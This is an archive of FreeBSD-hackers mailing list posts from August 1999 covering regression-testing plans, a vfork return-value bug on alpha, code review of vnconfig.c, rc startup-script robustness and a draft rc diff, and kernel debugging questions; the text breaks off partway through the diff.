scripts/code which have been submitted as PRs (and in the mailing lists - maybe a judicious grep of the archives) as regression tests. There are (unfortunately) still at least a few PRs which will kill a box dead (last time I tried w/ CURRENT), but no doubt many others which have shown up and been fixed. Maybe also include some of the known DoS attacks collected from rootshell which have worked in the past to guard against reintroduction of network bugs. Kris To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 17:45:42 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.uni-bielefeld.de (mail.uni-bielefeld.de [129.70.4.90]) by hub.freebsd.org (Postfix) with ESMTP id 262751544B for ; Thu, 26 Aug 1999 17:45:38 -0700 (PDT) (envelope-from bfischer@Techfak.uni-bielefeld.de) Received: from frolic.no-support.loc (ppp36-56.hrz.uni-bielefeld.de) by mail.uni-bielefeld.de (Sun Internet Mail Server sims.3.5.1999.03.02.17.58.p5) with ESMTP id <0FH300NHWM3W4D@mail.uni-bielefeld.de> for freebsd-hackers@FreeBSD.ORG; Fri, 27 Aug 1999 02:45:37 +0200 (MET DST) Received: (from bjoern@localhost) by frolic.no-support.loc (8.9.3/8.9.3) id XAA75763; Thu, 26 Aug 1999 23:44:45 +0200 (CEST envelope-from bjoern) Date: Thu, 26 Aug 1999 23:44:45 +0200 From: Bjoern Fischer Subject: Re: undocumented vfork behaviour? In-reply-to: <14277.18939.326895.354112@grasshopper.cs.duke.edu> To: Andrew Gallatin Cc: freebsd-hackers@FreeBSD.ORG Message-id: <19990826234445.A320@frolic.no-support.loc> MIME-version: 1.0 X-Mailer: Mutt 0.95.7i Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: quoted-printable References: <14277.18939.326895.354112@grasshopper.cs.duke.edu> Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Thu, Aug 26, 1999 at 10:40:29AM -0400, Andrew Gallatin wrote: [...] > Specifically, when a linux/alpha process forks, the child's return > value is the parent's pid rather than zero. [...] > If I run the following code on FreeBSD/i386, I see: > parent's pid =3D 6730 > I am the child, result =3D 0 > I must be the parent, result =3D 6731 >=20 > Whereas FreeBSD/alpha does this: >=20 > parent's pid =3D 17721 > I must be the parent, result =3D 17721 > I must be the parent, result =3D 17722 The Single Unix Specification says about this: RETURN VALUE Upon successful completion, vfork() returns 0 to the child process and returns the process ID of the child process to the parent process. Otherwise, -1 is returned to the parent, no child process is created, and errno is set to indicate the error. Returning the PPID for the child would break many sources, as you already said. Bj=F6rn --=20 -----BEGIN GEEK CODE BLOCK----- GCS d--(+) s++: a- C+++(-) UB++++OSI++++$ P+++(-) L+++(--) !E W- N+ o>+ K- !w !O !M !V PS++ PE- PGP++ t+++ !5 X++ tv- b+++ D++ G e+ h-- y+=20 ------END GEEK CODE BLOCK------ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 18:46:22 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from scientia.demon.co.uk (scientia.demon.co.uk [212.228.14.13]) by hub.freebsd.org (Postfix) with ESMTP id 2AC1D14C39 for ; Thu, 26 Aug 1999 18:46:17 -0700 (PDT) (envelope-from ben@scientia.demon.co.uk) Received: from lithium.scientia.demon.co.uk ([192.168.0.3] ident=exim) by scientia.demon.co.uk with esmtp (Exim 3.032 #1) id 11K9CA-0000CN-00; Fri, 27 Aug 1999 00:44:38 +0100 Received: (from ben) by lithium.scientia.demon.co.uk (Exim 3.032 #1) id 11K9C9-00017K-00; Fri, 27 Aug 1999 00:44:37 +0100 Date: Fri, 27 Aug 1999 00:44:37 +0100 From: Ben Smithurst To: "Mark J. Taylor" Cc: hackers@freebsd.org Subject: Re: Request for review: vnconfig.c Message-ID: <19990827004437.B3921@lithium.scientia.demon.co.uk> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.6i In-Reply-To: Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Mark J. Taylor wrote: > + dev = malloc(strlen(vnp->dev)+6); > + (void)sprintf(dev, "/dev/%s", vnp->dev); You should be checking that malloc() doesn't return NULL, before trying to write into the allocated space. -- Ben Smithurst | PGP: 0x99392F7D ben@scientia.demon.co.uk | key available from keyservers and | ben+pgp@scientia.demon.co.uk To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 19: 7: 9 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp04.primenet.com (smtp04.primenet.com [206.165.6.134]) by hub.freebsd.org (Postfix) with ESMTP id E74E915D89 for ; Thu, 26 Aug 1999 19:06:47 -0700 (PDT) (envelope-from tlambert@usr06.primenet.com) Received: (from daemon@localhost) by smtp04.primenet.com (8.9.3/8.9.3) id TAA17064; Thu, 26 Aug 1999 19:05:39 -0700 (MST) Received: from usr06.primenet.com(206.165.6.206) via SMTP by smtp04.primenet.com, id smtpdAAAf2aytH; Thu Aug 26 19:05:33 1999 Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id TAA22584; Thu, 26 Aug 1999 19:05:51 -0700 (MST) From: Terry Lambert Message-Id: <199908270205.TAA22584@usr06.primenet.com> Subject: Re: Looking for good QA tests... To: bmcgover@cisco.com (Brian McGovern) Date: Fri, 27 Aug 1999 02:05:51 +0000 (GMT) Cc: hackers@FreeBSD.ORG In-Reply-To: <199908261449.KAA02505@bmcgover-pc.cisco.com> from "Brian McGovern" at Aug 26, 99 10:49:50 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > However, I'm now at the point where I'd like to start collecting materials to > do this. By "materials", I mean both test scenarios and code for performing > these tests. > > While I now have your mind spinning, I'd like to lay down some > limits. Firstly, my current resources for testing is relatively > small. I have four machines that I can use most of the time. > Therefore, we can't do "everything, all the time", so tests > should be limited to cover as broad a range of items as we > have time for. My estimation is we will get approximately 48 > hours per release candidate as we move towards Jordan cutting > a release. In between, we might get a bit more slack, but not > a lot. Secondly, these tests can not take a lot of person hours > to perform. _I_ can give approximately 1-2 man hours per test > cycle. Therefore, these tests need to be automated, have good > reporting (especially if they fail), and be easy to set up and > run. Lastly, these tests should be tests, and not benchmarks. > I can't stress this enough. Knowing how fasts my disks are is > useless compared to a bug in the network interface that causes > the machine to panic. > > Now, as more people sign on to both write code/test plans, as > well as do the testing, we might be able to expand the types > of tests we can run. My plans are to wrap up whatever I'm > given in the form of code in to a port/package set, and have > it distributed so that anyone with a spare machine can come > onboard and help out. 1) Download the NIST/PCTS. This should be one of the tests that is run against FreeBSD before it is released. We will preferrably pass, and include the test results on the CDROM, even if we can't afford to pay a testing lab to run the exact same code and get legal license to the trademark (that can come later). 2) The test framework I put together for monitoring memory pool leaks through code exercises that utilize the pools being monitored is a Good Thing(tm). I believe that Michael Hancock ported it to -current. My initial tests that I provided with this framework were able to exercise file operations on varios file systems, and detect namei buffer leaks on any mounted FS that they were run on. The test code did full branch path coverage on that particular memory pool. This would be a good framework for similar kernel memory allocation and deallovation testing. I believe that Doug Rabson also had a copy of this code when he was reviewing my VFS megapatch (which included nameifree(), which leaked on NFS under certain obscure circumstances, and I didn't have NFS resources to test with). 3) Back when UNIX International closed shop, I saved all of their TET and E/TET ("(Extended) Test Environment Toolkit"). This code is normally used for SVID III testing by USL and other parties, but it is a very good validation testing framework, capable of being scripted for test cases for both positive and negative results. This code should be available from many sources; originally, DigiBoard (ftp.digibd.com at the time) put up a mirror of my rescued copy of the U.I. archive (this is actually where the draft copy of Spec. 1170 that went all over the place came from: their copy of my copy of U.I.'s archive). 4) I suggest lmbench be incorporated, as well. Not because it is any good as a comparative macro benchmark between heterogeneous systems, but because comparison between FreeBSD releases with prior releases results on the same hardware could be useful to indicate when pessimizations occur. Any or all of these would be a nice start. You might also want to contact Doug Ambrisko. He may be interested, assuming that these tests achieve formal standing for acceptance testing. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 19:18:58 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp05.primenet.com (smtp05.primenet.com [206.165.6.135]) by hub.freebsd.org (Postfix) with ESMTP id E238F15474 for ; Thu, 26 Aug 1999 19:18:52 -0700 (PDT) (envelope-from tlambert@usr06.primenet.com) Received: (from daemon@localhost) by smtp05.primenet.com (8.9.1/8.9.1) id TAA577882; Thu, 26 Aug 1999 19:18:48 -0700 Received: from usr06.primenet.com(206.165.6.206) via SMTP by smtp05.primenet.com, id smtpda2ZqMa; Thu Aug 26 19:18:35 1999 Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id TAA23170; Thu, 26 Aug 1999 19:18:33 -0700 (MST) From: Terry Lambert Message-Id: <199908270218.TAA23170@usr06.primenet.com> Subject: Re: dropped connections (fwd) To: nick.hibma@jrc.it Date: Fri, 27 Aug 1999 02:18:33 +0000 (GMT) Cc: barrett@phoenix.aye.net, fjoe@iclub.nsu.ru, hackers@FreeBSD.ORG In-Reply-To: from "Nick Hibma" at Aug 26, 99 04:36:06 pm X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > ee does the same. The reason is that the program does not check for EOF > on stdin, it continuously loops. It's a bug in the program. The thing > that could have been changed is a signal from the shell that is no > longer sent or so. > > The problem is the program, not the OS. > > It might be wortwhile to find the problem, solve and send the patch to > the maintainer of the port and the original author. Unless the program is blocking SIGHUP, it is arguable that this is a misinterpretation of POSIX requirements for delivery of signals to process groups when controlling tty's are revoked by FreeBSD. I believe that it is a misinterpretation of what happens when a process group leader gets a SIGHUP, and its children themselves become group leaders on a device that has already been revoked (i.e. I believe it is an order of operation problem). Other POSIX compliant OS's do not have this problem, and SVR2, SVR3, Xenix 2.x, Xenix 3.x, Microport UNIX, ISC UNIX, Altos Xenix, Altos UNIX, UNICOS, HP/UX, SunOS, and Solaris all appear to disagree with FreeBSD (even though some are admittedly not POSIX compliant). Further, if a program is using non-blocking I/O, there does not appear to be a way for the program to distiguish between an EOF based failure, and one that results from a lack of available data on a valid descriptor. Please see POSIX 1003 or the "Go Solo 2" book for details on tty revocation. I also suggest reference to "The Magic Garden Explained" and "The Design and Implementation of the 4.3 BSD UNIX Operating System", in paticular, the section on both tty handling on on-to-off DCD transition for a tty on which modem control is enables, and on pty handling in the case that the master is closed. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 19:21:25 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from smtp05.primenet.com (smtp05.primenet.com [206.165.6.135]) by hub.freebsd.org (Postfix) with ESMTP id 097FB14BE7 for ; Thu, 26 Aug 1999 19:21:23 -0700 (PDT) (envelope-from tlambert@usr06.primenet.com) Received: (from daemon@localhost) by smtp05.primenet.com (8.9.1/8.9.1) id TAA216068; Thu, 26 Aug 1999 19:20:59 -0700 Received: from usr06.primenet.com(206.165.6.206) via SMTP by smtp05.primenet.com, id smtpdzLTf7a; Thu Aug 26 19:20:54 1999 Received: (from tlambert@localhost) by usr06.primenet.com (8.8.5/8.8.5) id TAA23247; Thu, 26 Aug 1999 19:20:52 -0700 (MST) From: Terry Lambert Message-Id: <199908270220.TAA23247@usr06.primenet.com> Subject: Re: undocumented vfork behaviour? To: gallatin@cs.duke.edu (Andrew Gallatin) Date: Fri, 27 Aug 1999 02:20:52 +0000 (GMT) Cc: freebsd-hackers@FreeBSD.ORG In-Reply-To: <14277.18939.326895.354112@grasshopper.cs.duke.edu> from "Andrew Gallatin" at Aug 26, 99 10:40:29 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > I'm working on getting linux/alpha compatability going in > FreeBSD/alpha & I stumbled over some odd fork behaviour that I was > hoping somebody could shed some light on. > > Specifically, when a linux/alpha process forks, the child's return > value is the parent's pid rather than zero. I tracked this behaviour > down to the child's code path in the alpha's cpu_fork(): This is a bug. For other bugs in vfork(), look at the fact that the vacation program does not correctly deal with messages. Before Julian argue's that vacation is in error, note that it used to work fine until 3.1. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 19:21:45 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from cc158233-a.catv1.md.home.com (cc158233-a.catv1.md.home.com [24.3.25.17]) by hub.freebsd.org (Postfix) with ESMTP id 7962D14BE7 for ; Thu, 26 Aug 1999 19:21:42 -0700 (PDT) (envelope-from sjr@home.net) Received: (from sjr@localhost) by cc158233-a.catv1.md.home.com (8.9.3/8.9.3) id WAA14818 for freebsd-hackers@FreeBSD.ORG; Thu, 26 Aug 1999 22:21:30 -0400 (EDT) (envelope-from sjr) Message-Id: <199908270221.WAA14818@cc158233-a.catv1.md.home.com> Date: Thu, 26 Aug 1999 22:21:30 -0400 (EDT) From: "Stephen J. Roznowski" Subject: How bullet-proof should the /etc/rc* scripts be? To: freebsd-hackers@FreeBSD.ORG MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm trying to build a stripped down version of FreeBSD and have run across a few oddities in the startup scripts. 1. Should commands be wrapped in a check for their existance? For example: swapon, adjkerntz, etc. 2. Should everything be wrapped in a "rc.conf" variable? For example, the section with "mount -a -t nfs" (even though it silently exists if no NFS filesystems exist). 3. How much checking should be done before executing commands? As it stands now, if you don't have any ptys, the chflags/chmod/chown will fail -- should this be wrapped with an if statement? 4. What is the point of the "stty status '^T' at the top of the rc file? Shouldn't this be in the .profile/.login files? Thanks, -- Stephen J. Roznowski (sjr@home.net) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 19:30:11 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from lestat.nas.nasa.gov (lestat.nas.nasa.gov [129.99.33.127]) by hub.freebsd.org (Postfix) with ESMTP id 0696E1547D for ; Thu, 26 Aug 1999 19:30:04 -0700 (PDT) (envelope-from thorpej@lestat.nas.nasa.gov) Received: from lestat (localhost [127.0.0.1]) by lestat.nas.nasa.gov (8.8.8/8.6.12) with ESMTP id TAA24049; Thu, 26 Aug 1999 19:27:17 -0700 (PDT) Message-Id: <199908270227.TAA24049@lestat.nas.nasa.gov> To: Terry Lambert Cc: gallatin@cs.duke.edu (Andrew Gallatin), freebsd-hackers@FreeBSD.ORG Subject: Re: undocumented vfork behaviour? Reply-To: Jason Thorpe From: Jason Thorpe Date: Thu, 26 Aug 1999 19:27:16 -0700 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Fri, 27 Aug 1999 02:20:52 +0000 (GMT) Terry Lambert wrote: > This is a bug. ...but it's a bug in fork(), too. Not just vfork(). > For other bugs in vfork(), look at the fact that the vacation > program does not correctly deal with messages. ...fwiw, NetBSD fixed the vacation(1) bug and another bug in popen(), both of which manifested themselves when NetBSD got a Real Vfork. ...there's actually a fair amount of code that needs to be checked out and fixed when you have a Real Vfork, exit() vs _exit(), etc. -- Jason R. Thorpe To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 20:38:10 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mission.mvnc.edu (mission.mvnc.edu [149.143.2.3]) by hub.freebsd.org (Postfix) with ESMTP id 0B3B115168; Thu, 26 Aug 1999 20:37:58 -0700 (PDT) (envelope-from kdrobnac@mission.mvnc.edu) Received: from localhost (kdrobnac@localhost) by mission.mvnc.edu (8.9.0/8.9.0) with SMTP id XAA21155; Thu, 26 Aug 1999 23:35:43 -0400 (EDT) Date: Thu, 26 Aug 1999 23:35:43 -0400 (EDT) From: Kenny Drobnack To: freebsd-hackers@FreeBSD.org, freebsd-questions@FreeBSD.org Subject: Intel Merced FreeBSD??? Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Lately i have seen a lot of speculation as to what will happen when the Intel Merced comes out. Will people wait 12-18 months for a 64 bit Windows (that's the amount of time I keep hearing it will take them to get Win2000 running on it) or will they just buy it and pop Linux onto it right away? If the majority of the people opt for option #2, it may mean Linux will finally get a huge edge over M$! While Linux is a great OS, and I like seeing M$ have some problems, I would even more like to have the assurance of being able to run FreeBSD on 64 bit architecture. Is there any port planned to that system? Has anyone even mention it? Also, will the lib/compat end up having a linux32 and a linux64 directory so it can run both old Linux apps and new? ----- We are now the Knights who say... "Ekki-Ekki-Ekki-Ekki-PTANG! Zoom-Boing! Z'nourrwringmm!" ---- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 21:20:38 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id B42E014F64 for ; Thu, 26 Aug 1999 21:20:33 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id VAA65935; Thu, 26 Aug 1999 21:20:23 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C61207.CD381903@gorean.org> Date: Thu, 26 Aug 1999 21:20:23 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0821 i386) X-Accept-Language: en MIME-Version: 1.0 To: "Stephen J. Roznowski" Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: How bullet-proof should the /etc/rc* scripts be? References: <199908270221.WAA14818@cc158233-a.catv1.md.home.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG "Stephen J. Roznowski" wrote: > > I'm trying to build a stripped down version of FreeBSD and have run > across a few oddities in the startup scripts. Ok, first thing is, if you are going to hack up some custom stuff you're pretty much in the driver's seat on issues like this. That's not to say that the rc*, etc. scripts couldn't use some work, in fact some of us are doing just that. > 1. Should commands be wrapped in a check for their existance? For > example: swapon, adjkerntz, etc. If failed execution of the command will leave the system in an unusable state, yes. (Assuming by "check for their existance" you mean using the -x flag to 'test'.) If the system can continue booting even if the command fails, but the user needs to know the command failed, you should test the exit code and act appropriately. If no one cares about the command you don't need to do this, but then why run it at all? > 2. Should everything be wrapped in a "rc.conf" variable? For example, > the section with "mount -a -t nfs" (even though it silently exists > if no NFS filesystems exist). No. That specific case refers to entries in /etc/fstab (the -a is your clue), so regardless of the presence or abscence of nfs stuff in rc.conf that command should be run. There are other commands like this, especially in rc.network that fall into the "we can just run this and nothing bad will happen if we don't need it" category. In a situation like yours that's bad, and in general I'm for making *less* assumptions about the state of the system, but you have to start _somewhere_. > 3. How much checking should be done before executing commands? As it > stands now, if you don't have any ptys, the chflags/chmod/chown > will fail -- should this be wrapped with an if statement? This is a little tougher. I would say that having NO pty's at all is a rather extreme case, but while I'm doing the review I'll give this another look. Can you send me the filename and line number of this specific case in a private e-mail please? That way I won't miss it. > 4. What is the point of the "stty status '^T' at the top of the rc file? Frankly, that one stumps me too. :) There are still plenty of "We've always done it that way" items in the various rc files, that may be one of them. In answer to the question in your subject line, I would say "More so than they are now." Comments and suggestions are welcome, preferably accompanied by unified diffs. :) Good luck with your project, Doug To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 21:25:19 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from celery.dragondata.com (celery.dragondata.com [205.253.12.6]) by hub.freebsd.org (Postfix) with ESMTP id 4A95F15412 for ; Thu, 26 Aug 1999 21:25:06 -0700 (PDT) (envelope-from toasty@celery.dragondata.com) Received: (from toasty@localhost) by celery.dragondata.com (8.9.3/8.9.3) id XAA99823; Thu, 26 Aug 1999 23:23:06 -0500 (CDT) (envelope-from toasty) From: Kevin Day Message-Id: <199908270423.XAA99823@celery.dragondata.com> Subject: Re: How bullet-proof should the /etc/rc* scripts be? To: Doug@gorean.org (Doug) Date: Thu, 26 Aug 1999 23:23:05 -0500 (CDT) Cc: sjr@home.net (Stephen J. Roznowski), freebsd-hackers@FreeBSD.ORG In-Reply-To: <37C61207.CD381903@gorean.org> from "Doug" at Aug 26, 1999 09:20:23 PM X-Mailer: ELM [version 2.5 PL1] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > > 4. What is the point of the "stty status '^T' at the top of the rc file? > > Frankly, that one stumps me too. :) There are still plenty of "We've > always done it that way" items in the various rc files, that may be one of > them. > Without this, you cannot press ^T to see why the rc script has hung, if it does free during bootup. Kevin To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 22:34:19 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from mail.HiWAAY.net (fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (Postfix) with ESMTP id 1750D14FEB for ; Thu, 26 Aug 1999 22:34:14 -0700 (PDT) (envelope-from kris@airnet.net) Received: from airnet.net (tc14-216-180-35-111.dialup.HiWAAY.net [216.180.35.111] (may be forged)) by mail.HiWAAY.net (8.9.1a/8.9.0) with ESMTP id AAA10044 for ; Fri, 27 Aug 1999 00:30:58 -0500 (CDT) Message-ID: <37C62289.E8E11CF8@airnet.net> Date: Fri, 27 Aug 1999 00:30:49 -0500 From: Kris Kirby Organization: Non Illegitemus Carborundum. X-Mailer: Mozilla 4.08 [en] (X11; U; FreeBSD 3.2-RELEASE i386) MIME-Version: 1.0 To: hackers@freebsd.org Subject: Are the ethernet drivers time dependent? Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG The WaveLan card suddenly comes to mind... Are the ethernet drivers time dependent? If I take a ethernet card [ed(4)] and change the crystal for something slower, assuming I can still get the card to work correctly (albiet slower) will it still interact properly with the ed(4) driver, or do I need to look at tweaking the kernel? In other words, can the ed(4) driver work with ethernet cards running at speeds other than 10 MHz? I know there are drivers for the WaveLan card, but I'm looking at going even slower (256Kb!). -- Kris Kirby ------------------------------------------- TGIFreeBSD... 'Nuff said. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 23: 0:18 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from relay.ucb.crimea.ua (relay.ucb.crimea.ua [212.110.138.1]) by hub.freebsd.org (Postfix) with ESMTP id A04BC152F9 for ; Thu, 26 Aug 1999 22:58:59 -0700 (PDT) (envelope-from ru@ucb.crimea.ua) Received: (from ru@localhost) by relay.ucb.crimea.ua (8.9.3/8.9.3/UCB) id IAA12817; Fri, 27 Aug 1999 08:57:13 +0300 (EEST) (envelope-from ru) Date: Fri, 27 Aug 1999 08:57:12 +0300 From: Ruslan Ermilov To: Amit Singh Cc: hackers@FreeBSD.ORG Subject: Re: Examining kernel core dump: gd_curpcb Message-ID: <19990827085712.A90665@relay.ucb.crimea.ua> Mail-Followup-To: Amit Singh , hackers@FreeBSD.ORG References: <199908262018.QAA08160@aura.research.bell-labs.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.95.3i In-Reply-To: <199908262018.QAA08160@aura.research.bell-labs.com>; from Amit Singh on Thu, Aug 26, 1999 at 04:18:33PM -0400 X-Operating-System: FreeBSD 3.2-STABLE i386 Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This has been fixed with the following commit: luoqi 1999/05/24 12:31:19 PDT Modified files: (Branch: RELENG_3) gnu/usr.bin/binutils/gdb/i386 freebsd-nat.c kvm-fbsd.c Log: Back out changes don't belong to the 3.x branch. Revision Changes Path 1.21.2.2 +3 -1 src/gnu/usr.bin/binutils/gdb/i386/freebsd-nat.c 1.17.2.2 +12 -73 src/gnu/usr.bin/binutils/gdb/i386/kvm-fbsd.c On Thu, Aug 26, 1999 at 04:18:33PM -0400, Amit Singh wrote: > > The kernel (a hacked 3.2-RELEASE) dumps core (courtesy a panic), > and upon a subsequent boot, the following happens: > > # cd /usr/src/sys/compile/FOOKERNEL > # gdb -k > GNU gdb 4.18 > ... > (kgdb) symbol-file kernel.debug > Reading symbols from kernel.debug...done. > (kgdb) exec-file /var/crash/kernel.0 > (kgdb) core-file /var/crash/vmcore.0 > IdlePTD 4294967295 > kernel symbol `gd_curpcb' not found. > > gd_curpcb is (apparently) not referenced in either of the kernel, > kernel.debug or vmcore files. It is however referenced in > /usr/libexec/elf/gdb though. > > Next, a "grep gd_curpcb **/*" in the GNU source for gdb-4.18 > yields no match. The file src/gnu/usr.bin/binutils/i386/kvm-fbsd.c > does contain the following: > > curpcb = kvtophys(cfd, ksym_lookup ("gd_curpcb") + prv_start); > > The question is: where is this symbol defined so that gdb can > look it up successfully? > > Regards > Amit Singh Cheers, -- Ruslan Ermilov Sysadmin and DBA of the ru@ucb.crimea.ua United Commercial Bank, ru@FreeBSD.org FreeBSD committer, +380.652.247.647 Simferopol, Ukraine http://www.FreeBSD.org The Power To Serve http://www.oracle.com Enabling The Information Age To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-hackers" in the body of the message From owner-freebsd-hackers Thu Aug 26 23:32:13 1999 Delivered-To: freebsd-hackers@freebsd.org Received: from dt011n65.san.rr.com (dt010nb9.san.rr.com [204.210.12.185]) by hub.freebsd.org (Postfix) with ESMTP id 5712D1514E for ; Thu, 26 Aug 1999 23:32:02 -0700 (PDT) (envelope-from Doug@gorean.org) Received: from gorean.org (master [10.0.0.2]) by dt011n65.san.rr.com (8.9.3/8.8.8) with ESMTP id XAA66498 for ; Thu, 26 Aug 1999 23:30:42 -0700 (PDT) (envelope-from Doug@gorean.org) Message-ID: <37C63094.8350A91B@gorean.org> Date: Thu, 26 Aug 1999 23:30:44 -0700 From: Doug Organization: Triborough Bridge & Tunnel Authority X-Mailer: Mozilla 4.61 [en] (X11; U; FreeBSD 4.0-CURRENT-0826 i386) X-Accept-Language: en MIME-Version: 1.0 To: freebsd-hackers@freebsd.org Subject: Please review: rc file changes Content-Type: multipart/mixed; boundary="------------F0FB073CAAA5056E14E65825" Sender: owner-freebsd-hackers@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. --------------F0FB073CAAA5056E14E65825 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Greetings, As previously discussed, here is a first draft of the rc* script mods. I consider the first step in this process to be Jordan's cleanup of the variable syntax. This is step 2, which most notably converts test's dealing with variables to case wherever possible. It also does the following. 1. -f -> -r wherever it makes sense 2. value ) instead of value) for case statements 3. All cases of [, test, ; then, etc. converted to: if [ blah ]; then 4. Made # Comment # commands more consistent 5. Stripped whitespace off the end of a few lines The attached diff is to rc, and was generated with -ubB to ease understanding of the substantive changes. You can view the actual file at http://gorean.org/rc. I would appreciate y'all reviewing these changes for style, substance, or anything else relevant to the matter at hand. My hope is that any modifications can be discussed prior to my doing the rest of the work, which I plan to tackle this weekend. There are also a few questions sprinkled into the file, comments or suggestions on those are welcome. This version of the file is tested lightly, which is to say that I booted with it after my upgrade to the most recent sources on -current tonight. Obviously more rigorous testing will be necessary before this gets committed, although the changes are extremely straightforward. Questions: 1. Under what circumstances would $early_nfs_mounts be set? The only mention of this variable that I could find is in /etc/rc, and I can't see where it would be set. 2. Do we want to move to 'logger' instead of echo for the various little statements in the rc* files during boot? I for one would highly recommend this change, since it makes remote administration TONS easier. However the last time it came up I seem to remember it being one of those "religious" issues... 3. Anything else I should be looking at in this phase of the game? Thanks, Doug --------------F0FB073CAAA5056E14E65825 Content-Type: text/plain; charset=us-ascii; name="rc.diff" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="rc.diff" --- /etc/rc Thu Aug 26 21:02:19 1999 +++ rc Thu Aug 26 22:57:06 1999 @@ -8,24 +8,25 @@ # and the console is the controlling terminal. # Note that almost all the user-configurable behavior is no longer in -# this file, but rather in /etc/defaults/rc.conf. Please check this file +# this file, but rather in /etc/defaults/rc.conf. Please check that file # first before contemplating any changes here. stty status '^T' # Set shell to ignore SIGINT (2), but not children; # shell catches SIGQUIT (3) and returns to single user after fsck. +# trap : 2 trap : 3 # shouldn't be needed -HOME=/; export HOME +HOME=/ 